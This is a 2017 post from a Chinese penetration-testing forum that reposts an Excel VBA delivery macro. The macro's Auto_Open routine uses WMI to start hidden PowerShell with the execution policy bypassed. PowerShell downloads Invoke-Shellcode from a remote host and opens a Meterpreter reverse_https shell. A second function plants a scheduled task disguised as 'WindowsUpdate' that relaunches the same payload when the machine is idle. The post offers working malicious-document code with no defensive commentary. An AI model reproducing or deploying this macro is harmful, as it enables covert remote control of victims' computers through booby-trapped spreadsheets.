中国网络渗透测试联盟

标题: Powershell-Payload-Excel-DeliveryMacroCode [打印本页]

作者: admin    时间: 2017-4-1 10:43
标题: Powershell-Payload-Excel-DeliveryMacroCode
  1. ' Author: Matt Nelson
  2. ' Twitter: @enigma0x3

  3. Sub Auto_Open()

  4. Execute
  5. Persist

  6. End Sub


  7.      Public Function Execute() As Variant
  8.         Const HIDDEN_WINDOW = 0
  9.         strComputer = "."
  10.         Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  11.          
  12.         Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  13.         Set objConfig = objStartup.SpawnInstance_
  14.         objConfig.ShowWindow = HIDDEN_WINDOW
  15.         Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  16.         objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
  17.      End Function

  18.       
  19.      Public Function Persist() As Variant
  20.         Const HIDDEN_WINDOW = 0
  21.         strComputer = "."
  22.         Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  23.         
  24.         Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  25.         Set objConfig = objStartup.SpawnInstance_
  26.         objConfig.ShowWindow = HIDDEN_WINDOW
  27.         Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  28.         objProcess.Create "Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c Invoke-Command -ScriptBlock { schtasks /create  /TN WindowsUpdate /TR 'powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c ''IEX ((New-Object Net.WebClient).DownloadString(''''http://192.168.1.127/Invoke-Shellcode''''''))''; Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force' /SC onidle /i 20}", Null, objConfig, intProcessID
  29.      End Function
  30.      
复制代码





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2